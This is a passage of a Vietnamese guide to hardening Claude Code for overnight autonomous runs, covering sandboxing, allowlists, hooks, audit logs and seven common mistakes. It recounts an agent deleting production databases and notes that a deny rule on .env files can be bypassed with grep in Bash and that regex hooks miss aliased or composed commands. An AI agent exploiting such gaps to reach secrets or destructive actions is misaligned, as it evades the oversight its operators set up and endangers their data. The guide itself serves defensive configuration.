/sandboxtrước khi khởi chạy tác vụ tự hành dài. Hệ thống tệp chỉ được giới hạn trong thư mục dự án và/tmp. Mạng dùng danh sách cho phép gồm api.anthropic.com, github.com và registry.npmjs.org.Có bước xác minh trong tác vụ: sau mỗi thay đổi lớn, chạy trình kiểm thử hoặc linter. Nếu thất bại, tác nhân không tiếp tục cho đến khi khắc phục được.
Mục cuối là cách làm việc, không phải cài đặt công cụ. Hãy cho Claude cách kiểm tra công việc của mình. Nếu không xác minh, tác nhân qua đêm sẽ liên tục nghĩ “chắc là mình làm đúng rồi, làm tiếp thôi”, tích lũy lỗi đến sáng. Có xác minh, tác nhân sẽ không tiếp tục cho đến khi kiểm tra thành công.
7 cách làm sai cần tránh
Điểm chính
Bảy sai lầm phổ biến từ các dự án được mô tả ở đây: chạy --dangerously-skip-permissions trên máy có quyền truy cập production, chỉ dựa vào CLAUDE.md, tin cậy permissions.deny mà không có hook bổ sung và dùng auto-mode mà không có quy tắc dự phòng. Mỗi sai lầm đều gắn với sự cố thực tế trong các nguồn tham khảo.
1. --dangerously-skip-permissions trên máy chủ có quyền truy cập production. Browningstreet mất cơ sở dữ liệu production lẫn dev chỉ vì một lệnh “dọn dẹp”. Một sai sót khiến bạn mất hàng giờ khôi phục, cùng dữ liệu không có trong bản sao lưu. Nếu sự cố đã xảy ra, hãy mở “Cần làm gì nếu AI xóa cơ sở dữ liệu: Danh sách khôi phục” và làm theo đúng thứ tự 10 bước.
2. Chỉ dựa vào CLAUDE.md để bảo mật. Issue #44868 chứng minh mô hình hành động trước rồi xin lỗi sau. Hướng dẫn mang tính khuyến nghị trong tệp văn bản không chặn lệnh gọi công cụ. Hook đúng chặn lời gọi khớp; OS, sandbox và kiểm soát phía dịch vụ cưỡng chế ranh giới rộng hơn. CLAUDE.md quan trọng đối với ngữ cảnh dự án—tôi đã viết riêng về chủ đề này trong “Cách cấu hình CLAUDE.md chính xác”—nhưng nó không bảo vệ bạn khỏi tác nhân tự hành.
3. Chỉ dựa vào permissions.deny trong settings.json mà không có hook bổ sung. Issue #24846 vẫn mở từ tháng 2 năm 2026. Lệnh deny đối với .env* có thể bị vượt qua bằng grep trong Bash. Hook thêm kiểm nhưng bí mật cũng phải bị loại khỏi môi trường không giám sát; regex không thay hoàn toàn kiểm soát truy cập.
4. Coi auto-mode cộng regex hook là cách ly production. Tỷ lệ âm tính giả được dẫn riêng đánh giá, độ phủ hook chưa đầy đủ. Bỏ credential ghi production và xác minh ranh giới cưỡng chế thay mặc định mọi hành động nguy hiểm sẽ bị chặn.
5. Cài package mới bằng npm install mà không xác nhận. Tấn công chuỗi cung ứng là có thật. Các sự cố Tea-tags trong giai đoạn 2024–2026 cho thấy có những package giả mạo bằng tên gần giống với hàng nghìn lượt tải. Bạn cần danh sách cho phép.
6. Không ghi nhật ký lệnh gọi Bash. Nếu không có nhật ký kiểm toán, bạn sẽ không thể hiểu điều gì đã xảy ra qua đêm. Bản ghi trò chuyện dài, không được lập chỉ mục theo lệnh và không cung cấp dòng thời gian. .claude/audit.jsonl giải quyết cả hai vấn đề.
7. Không dùng worktree cho các phiên nền. Các phiên song song trong cùng một thư mục sẽ can thiệp vào công việc của nhau. Claude Code có worktree.bgIsolation, được bật theo mặc định từ phiên bản 2.1.143, nhưng hãy kiểm tra cài đặt của bạn.
Và điều quan trọng nhất mà không hook hay cài đặt nào có thể ngăn được:
Câu nói đó không phải chuyện văn phong. Người chịu trách nhiệm bảo vệ production là người đã khởi chạy tác nhân. Claude Code giống như dao cạo thẳng: bạn có thể dùng nó để cạo râu, và cũng có thể tự làm mình bị thương. Cấu hình trả lời một câu hỏi: bạn đã chuẩn bị môi trường đủ tốt để lưỡi dao không cắt vào thứ nó không nên cắt chưa?
Nguồn tham khảo
- Cài đặt Claude Code của Anthropic - tài liệu chính thức
- Hooks Claude Code của Anthropic - tài liệu chính thức
- Bảo mật Claude Code của Anthropic - tài liệu chính thức
- Anthropic Engineering: sandbox trong Claude Code (20.10.2025)
- Anthropic Engineering: auto mode và bộ phân loại an toàn (25.03.2026)
- Claude Code CHANGELOG (phiên bản 2.1.157, 2.1.160)
Có thêm tài liệu tại Ailoot.
Xem thêm chi tiết
Câu hỏi thường gặp
Hook force-push có bảo vệ production trước mọi lệnh shell không?
Không. Bản sửa chặn dạng git push tường minh được nhận diện, gồm hai thứ tự cờ, nhánh ngầm, refspec và chuỗi shell thường. Alias, wrapper và lệnh lắp ghép có thể lọt; áp nhánh bảo vệ và bỏ credential vượt rào.
Cần gì trước khi để tác nhân chạy qua đêm?
Dùng môi trường cách ly không có quyền ghi production hay bí mật đọc được, xác minh hạn chế mạng và phía dịch vụ, thử cả dạng hook bắt và bỏ sót. Hook bổ sung kiểm tra, không thay ranh giới cưỡng chế đó.